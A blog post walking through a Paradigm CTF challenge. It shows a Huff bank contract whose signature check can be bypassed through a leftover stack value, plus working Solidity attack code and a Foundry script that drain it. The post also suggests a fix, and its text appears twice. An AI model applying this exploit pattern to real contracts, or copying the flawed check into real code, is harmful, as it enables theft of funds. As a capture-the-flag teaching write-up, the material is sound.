founder @CircolorsDAO. Solidity & P5.js generative art hacking.
founder @CircolorsDAO. Solidity & P5.js generative art hacking.

Subscribe to McToady

Subscribe to McToady
Share Dialog
Share Dialog
<100 subscribers
<100 subscribers
One of the challenges in the recent Paradigm CTF was Huff based and I think it offered a good chance to get a better understanding of Huff as well as the EVM in general. So in an attempt to Huffpill a few more unsuspecting devs I’m writing a little detailed walk through of the challenge. So here it goes!
We’re given 3 files, Challenge.sol, ISimpleBank.sol and SimpleBank.huff
We’ll start with Challenge.sol to find out the success condition of the challenge. From this we can see that the SimpleBank contract should have some sort of balance that we need to drain to complete the challenge.
function isSolved() external view returns (bool) {
return address(BANK).balance == 0;
}
After that we move to ISimpleBank.sol, this gives us just one entry point for the contract called withdraw. We note it takes a set of (possibly familiar) arguments and is payable, other than that though, not much to work with.
interface ISimpleBank {
function withdraw(bytes32, uint8, bytes32, bytes32) external payable;
}
Finally we have the huff contract, which we’ll dive into shortly.
What I want to know first is how much ether we’re given to play with, as well as how much is in the bank contract for us to steal. After running this script we find out we start with 1000 ether & the bank contract has 10 ether, so lots of room to manoeuvre then!
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console2} from "forge-std/Script.sol";
import {Challenge} from "../src/Challenge.sol";
import {ISimpleBank} from "../src/ISimpleBank.sol";
contract SolveScript is Script {
address constant CHALLENGE = 0x9E7F2842f8a7beaad13cdb29ec78Ca13503EA2b2;
function run() public {
uint256 pk = vm.envUint("PK");
address thisAddress = vm.addr(pk);
address bank = address(Challenge(CHALLENGE).BANK());
console2.log("This Address", thisAddress);
console2.log("This Balance", thisAddress.balance);
console2.log("Bank Balance", bank.balance);
bool result = Challenge(CHALLENGE).isSolved();
console2.log("Challenge Result", result);
}
}
The default entry point for a huff contract is the MAIN macro, so we’ll start there and see if there’s any secret ways to interact with the contract that the ISimpleBank interface isn’t telling us about. However, it turns out there is just the previously noted withdraw function as well as a receive function that doesn’t execute any code.
#define macro MAIN() = takes (0) returns (0) {
// Identify which function is being called.
0x00 calldataload 0xE0 shr // get the selector from calldata
dup1 __FUNC_SIG(withdraw) eq withdrawj jumpi // jump to withdrawj if selector matches withdraw's signature
callvalue 0x00 lt recieve jumpi // jump to receive if msg.value > 0
0x00 0x00 revert // else revert
withdrawj:
WITHDRAW()
recieve:
}
So moving along the trail we need to look into WITHDRAW.
#define macro WITHDRAW() = takes (0) returns (0){
CHECKVALUE()
CHECKSIG()
iszero iszero noauth jumpi //need a 0 on the stack to avoid jumping to noauth
0x00 dup1 dup1 dup1
selfbalance caller
gas call // sends balance of contract to caller
end jump
noauth:
0x00 dup1 revert
end:
}
There seems to be a way for us to get all the funds from the contract at once (nice) but we have to pass some sort of auth check for this to happen (less nice). We’re also calling two further macros CHECKVALUE and CHECKSIG, so let’s first take a look at what CHECKVALUE is doing.
#define macro CHECKVALUE() = takes (0) returns (0) {
callvalue 0x10 gt over jumpi // callvalue < 16 jump to over
0x00 dup1 revert // callvalue >= 16 revert
over:
0x00
0x00
0x00
0x00
callvalue 0x02 mul // call value * 2
caller
0xFFFFFFFF
call // send to caller
}
It seems that if we send less than 16wei to the contract they’ll be kind enough to send us twice as much back. But draining the contract 15wei at a time will take approximately a billion years and I’ve only got 3 hours until the CTF finishes. However, if we send more than 15wei the call will revert which is even worse. So let’s put a pin in it for now and move onto CHECKSIG.
#define macro CHECKSIG() = takes (0) returns (1) {
// withdraw(bytes32, uint8, bytes32, bytes32)
0x04 calldataload // load first bytes32 arg
0x00 mstore // store at 00
0x24 calldataload // load uint8 arg
0x20 mstore // store at 20
0x44 calldataload // load second bytes32 arg
0x40 mstore // store at 40
0x64 calldataload // load third bytes32 arg
0x60 mstore // store at 60
// ecrecover call (saves returned address at 0x80)
0x20 // 32 bytes // RET SIZE
0x80 // RET OFFSET // store return value at 0x80
0x80 // ARG SIZE // 128bytes (4 arguments we just stored in memory)
0x00 // 0 // ARGS OFFSET // Load args from 0x00
0x1 // 1 // ADDRESS (address 1 is the precompiled address for ecrecover)
0xFFFFFFFF // GAS to send
staticcall // returns 1 if success, 0 if fail
iszero invalidSigner jumpi // if fail jump to invalid signer
0x80 mload // load the result returned by the ecsda recover call
0xd8dA6Bf26964AF9D7eed9e03e53415D37AA96044 eq correctSigner jumpi // signer should be this address
end jump
correctSigner:
0x00 // push a 0 to the stack
end jump
invalidSigner:
0x01 // push a 1 to the stack
end jump
end:
}
Here we see how the arguments from ISimpleBank’s withdraw function are being used. It turns out they are (bytes32 hash,uint8 v,bytes32 r,bytes32 s) for an ecrecover signature check. A little pre-existing knowledge is helpful in working this out, namely that the address 0x0…1 is the precompiled ecRecover contract.
Now, if you remember from WITHDRAW we’re trying to get a zero on the stack to avoid the noauth jump, so we need to avoid invalidSigner pushing a 0x01 on the stack, and get to the correctSigner route we’ll be set, however it requires us to provide a signed message + signature from the address 0xd8dA6Bf26964AF9D7eed9e03e53415D37AA96044. After a few minutes sifting through etherscan to see if this address had signed things in the past that we could yoink we found nothing and are back to a dead end.
But we do notice something, if we bypass invalidSigner but also fail the correctSigner check, nothing gets pushed onto the stack. This isn’t ideal, but if we can get a 0 onto the stack from elsewhere then we could be in business. The only other place it can come from is CHECKVALUE so back we go.
#define macro CHECKVALUE() = takes (0) returns (0) {
callvalue 0x10 gt over jumpi // callvalue < 16 jump to over
0x00 dup1 revert // callvalue >= 16 revert
over:
0x00
0x00
0x00
0x00
callvalue 0x02 mul // call value * 2
caller
0xFFFFFFFF
call // send to caller
}
Now if we recall from CHECKSIG the use of staticcall pushes a 1 to the stack if successful and 0 if it fails. It turns out call has the same functionality. So if the contract’s attempt to send us ether fails, then a 0 will be added to the stack. Just what we wanted!
From here it’s relatively simple with one caveat. We need the contracts attempt to send us a tiny amount of ether to fail, but be successful when they send us the full 10 ether later.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {ISimpleBank} from "./ISimpleBank.sol";
contract NoThanks {
address immutable bank;
address immutable owner;
error NoNo();
error NoThankYou();
constructor(address _bank, address _owner) {
bank = _bank;
owner = _owner;
}
function makeCall(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) external {
ISimpleBank(bank).withdraw(_hash, _v, _r, _s);
}
function withdrawCoins() external {
if (msg.sender != owner) revert NoNo();
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {
if (msg.value < 10 ether) revert NoThankYou();
}
fallback() external payable {
if (msg.value < 10 ether) revert NoThankYou();
}
}
So now we can call the Bank contract via this intermediary contract that will not accept the dust the Bank initially tries to send but will happily accept the full 10 ether it will send later. Now we just need a solution script and we’re done.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console2} from "forge-std/Script.sol";
import {Challenge} from "../src/Challenge.sol";
import {NoThanks} from "../src/NoThanks.sol";
import {ISimpleBank} from "../src/Challenge.sol";
contract SolveScript is Script {
address constant CHALLENGE = 0x9E7F2842f8a7beaad13cdb29ec78Ca13503EA2b2;
function run() public {
uint256 pk = vm.envUint("PK");
address thisAddress = vm.addr(pk);
address bank = address(Challenge(CHALLENGE).BANK());
vm.startBroadcast(pk);
NoThanks noThanks = new NoThanks(bank, thisAddress);
bytes32 hashRes = keccak256("Signed by Toad");
(uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, hashRes);
noThanks.makeCall(hashRes, v, r, s);
console2.log("This Address", thisAddress);
console2.log("This Balance", thisAddress.balance);
console2.log("Bank Balance", bank.balance);
noThanks.withdrawCoins();
console2.log("This Balance", thisAddress.balance);
console2.log("Bank Balance", bank.balance);
bool result = Challenge(CHALLENGE).isSolved();
console2.log("Challenge Result", result);
vm.stopBroadcast();
}
}
We create the NoThanks middle man contract, create a random signed message and pass the args into our NoThanks contract, withdraw the funds to our address (not part of the challenge requirements but gimme da monies), check banks balance is 0 and our challenge is solved and we’re done!
This challenge serves as a good reminder when making low level contracts about how you always need to be aware of values that could be left on the stack and make sure your conditionals and jumps are watertight. The most sensible fix for the above contract would likely be to jump to invalidSigner (therefore pushing a 0x01 to the top of the stack) if the signer address didn’t match the one specified, rather than just ending the macro flow without doing anything!
Thanks for making it this far, hopefully it has made Huff a little less daunting for you. This was a really fun challenge to help strengthen my EVM knowledge (particularly knowing which opcodes push what onto the stack and when).
Keep on huffing. 🫡
One of the challenges in the recent Paradigm CTF was Huff based and I think it offered a good chance to get a better understanding of Huff as well as the EVM in general. So in an attempt to Huffpill a few more unsuspecting devs I’m writing a little detailed walk through of the challenge. So here it goes!
We’re given 3 files, Challenge.sol, ISimpleBank.sol and SimpleBank.huff
We’ll start with Challenge.sol to find out the success condition of the challenge. From this we can see that the SimpleBank contract should have some sort of balance that we need to drain to complete the challenge.
function isSolved() external view returns (bool) {
return address(BANK).balance == 0;
}
After that we move to ISimpleBank.sol, this gives us just one entry point for the contract called withdraw. We note it takes a set of (possibly familiar) arguments and is payable, other than that though, not much to work with.
interface ISimpleBank {
function withdraw(bytes32, uint8, bytes32, bytes32) external payable;
}
Finally we have the huff contract, which we’ll dive into shortly.
What I want to know first is how much ether we’re given to play with, as well as how much is in the bank contract for us to steal. After running this script we find out we start with 1000 ether & the bank contract has 10 ether, so lots of room to manoeuvre then!
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console2} from "forge-std/Script.sol";
import {Challenge} from "../src/Challenge.sol";
import {ISimpleBank} from "../src/ISimpleBank.sol";
contract SolveScript is Script {
address constant CHALLENGE = 0x9E7F2842f8a7beaad13cdb29ec78Ca13503EA2b2;
function run() public {
uint256 pk = vm.envUint("PK");
address thisAddress = vm.addr(pk);
address bank = address(Challenge(CHALLENGE).BANK());
console2.log("This Address", thisAddress);
console2.log("This Balance", thisAddress.balance);
console2.log("Bank Balance", bank.balance);
bool result = Challenge(CHALLENGE).isSolved();
console2.log("Challenge Result", result);
}
}
The default entry point for a huff contract is the MAIN macro, so we’ll start there and see if there’s any secret ways to interact with the contract that the ISimpleBank interface isn’t telling us about. However, it turns out there is just the previously noted withdraw function as well as a receive function that doesn’t execute any code.
#define macro MAIN() = takes (0) returns (0) {
// Identify which function is being called.
0x00 calldataload 0xE0 shr // get the selector from calldata
dup1 __FUNC_SIG(withdraw) eq withdrawj jumpi // jump to withdrawj if selector matches withdraw's signature
callvalue 0x00 lt recieve jumpi // jump to receive if msg.value > 0
0x00 0x00 revert // else revert
withdrawj:
WITHDRAW()
recieve:
}
So moving along the trail we need to look into WITHDRAW.
#define macro WITHDRAW() = takes (0) returns (0){
CHECKVALUE()
CHECKSIG()
iszero iszero noauth jumpi //need a 0 on the stack to avoid jumping to noauth
0x00 dup1 dup1 dup1
selfbalance caller
gas call // sends balance of contract to caller
end jump
noauth:
0x00 dup1 revert
end:
}
There seems to be a way for us to get all the funds from the contract at once (nice) but we have to pass some sort of auth check for this to happen (less nice). We’re also calling two further macros CHECKVALUE and CHECKSIG, so let’s first take a look at what CHECKVALUE is doing.
#define macro CHECKVALUE() = takes (0) returns (0) {
callvalue 0x10 gt over jumpi // callvalue < 16 jump to over
0x00 dup1 revert // callvalue >= 16 revert
over:
0x00
0x00
0x00
0x00
callvalue 0x02 mul // call value * 2
caller
0xFFFFFFFF
call // send to caller
}
It seems that if we send less than 16wei to the contract they’ll be kind enough to send us twice as much back. But draining the contract 15wei at a time will take approximately a billion years and I’ve only got 3 hours until the CTF finishes. However, if we send more than 15wei the call will revert which is even worse. So let’s put a pin in it for now and move onto CHECKSIG.
#define macro CHECKSIG() = takes (0) returns (1) {
// withdraw(bytes32, uint8, bytes32, bytes32)
0x04 calldataload // load first bytes32 arg
0x00 mstore // store at 00
0x24 calldataload // load uint8 arg
0x20 mstore // store at 20
0x44 calldataload // load second bytes32 arg
0x40 mstore // store at 40
0x64 calldataload // load third bytes32 arg
0x60 mstore // store at 60
// ecrecover call (saves returned address at 0x80)
0x20 // 32 bytes // RET SIZE
0x80 // RET OFFSET // store return value at 0x80
0x80 // ARG SIZE // 128bytes (4 arguments we just stored in memory)
0x00 // 0 // ARGS OFFSET // Load args from 0x00
0x1 // 1 // ADDRESS (address 1 is the precompiled address for ecrecover)
0xFFFFFFFF // GAS to send
staticcall // returns 1 if success, 0 if fail
iszero invalidSigner jumpi // if fail jump to invalid signer
0x80 mload // load the result returned by the ecsda recover call
0xd8dA6Bf26964AF9D7eed9e03e53415D37AA96044 eq correctSigner jumpi // signer should be this address
end jump
correctSigner:
0x00 // push a 0 to the stack
end jump
invalidSigner:
0x01 // push a 1 to the stack
end jump
end:
}
Here we see how the arguments from ISimpleBank’s withdraw function are being used. It turns out they are (bytes32 hash,uint8 v,bytes32 r,bytes32 s) for an ecrecover signature check. A little pre-existing knowledge is helpful in working this out, namely that the address 0x0…1 is the precompiled ecRecover contract.
Now, if you remember from WITHDRAW we’re trying to get a zero on the stack to avoid the noauth jump, so we need to avoid invalidSigner pushing a 0x01 on the stack, and get to the correctSigner route we’ll be set, however it requires us to provide a signed message + signature from the address 0xd8dA6Bf26964AF9D7eed9e03e53415D37AA96044. After a few minutes sifting through etherscan to see if this address had signed things in the past that we could yoink we found nothing and are back to a dead end.
But we do notice something, if we bypass invalidSigner but also fail the correctSigner check, nothing gets pushed onto the stack. This isn’t ideal, but if we can get a 0 onto the stack from elsewhere then we could be in business. The only other place it can come from is CHECKVALUE so back we go.
#define macro CHECKVALUE() = takes (0) returns (0) {
callvalue 0x10 gt over jumpi // callvalue < 16 jump to over
0x00 dup1 revert // callvalue >= 16 revert
over:
0x00
0x00
0x00
0x00
callvalue 0x02 mul // call value * 2
caller
0xFFFFFFFF
call // send to caller
}
Now if we recall from CHECKSIG the use of staticcall pushes a 1 to the stack if successful and 0 if it fails. It turns out call has the same functionality. So if the contract’s attempt to send us ether fails, then a 0 will be added to the stack. Just what we wanted!
From here it’s relatively simple with one caveat. We need the contracts attempt to send us a tiny amount of ether to fail, but be successful when they send us the full 10 ether later.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {ISimpleBank} from "./ISimpleBank.sol";
contract NoThanks {
address immutable bank;
address immutable owner;
error NoNo();
error NoThankYou();
constructor(address _bank, address _owner) {
bank = _bank;
owner = _owner;
}
function makeCall(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) external {
ISimpleBank(bank).withdraw(_hash, _v, _r, _s);
}
function withdrawCoins() external {
if (msg.sender != owner) revert NoNo();
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {
if (msg.value < 10 ether) revert NoThankYou();
}
fallback() external payable {
if (msg.value < 10 ether) revert NoThankYou();
}
}
So now we can call the Bank contract via this intermediary contract that will not accept the dust the Bank initially tries to send but will happily accept the full 10 ether it will send later. Now we just need a solution script and we’re done.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console2} from "forge-std/Script.sol";
import {Challenge} from "../src/Challenge.sol";
import {NoThanks} from "../src/NoThanks.sol";
import {ISimpleBank} from "../src/Challenge.sol";
contract SolveScript is Script {
address constant CHALLENGE = 0x9E7F2842f8a7beaad13cdb29ec78Ca13503EA2b2;
function run() public {
uint256 pk = vm.envUint("PK");
address thisAddress = vm.addr(pk);
address bank = address(Challenge(CHALLENGE).BANK());
vm.startBroadcast(pk);
NoThanks noThanks = new NoThanks(bank, thisAddress);
bytes32 hashRes = keccak256("Signed by Toad");
(uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, hashRes);
noThanks.makeCall(hashRes, v, r, s);
console2.log("This Address", thisAddress);
console2.log("This Balance", thisAddress.balance);
console2.log("Bank Balance", bank.balance);
noThanks.withdrawCoins();
console2.log("This Balance", thisAddress.balance);
console2.log("Bank Balance", bank.balance);
bool result = Challenge(CHALLENGE).isSolved();
console2.log("Challenge Result", result);
vm.stopBroadcast();
}
}
We create the NoThanks middle man contract, create a random signed message and pass the args into our NoThanks contract, withdraw the funds to our address (not part of the challenge requirements but gimme da monies), check banks balance is 0 and our challenge is solved and we’re done!
This challenge serves as a good reminder when making low level contracts about how you always need to be aware of values that could be left on the stack and make sure your conditionals and jumps are watertight. The most sensible fix for the above contract would likely be to jump to invalidSigner (therefore pushing a 0x01 to the top of the stack) if the signer address didn’t match the one specified, rather than just ending the macro flow without doing anything!
Thanks for making it this far, hopefully it has made Huff a little less daunting for you. This was a really fun challenge to help strengthen my EVM knowledge (particularly knowing which opcodes push what onto the stack and when).
Keep on huffing. 🫡
No activity yet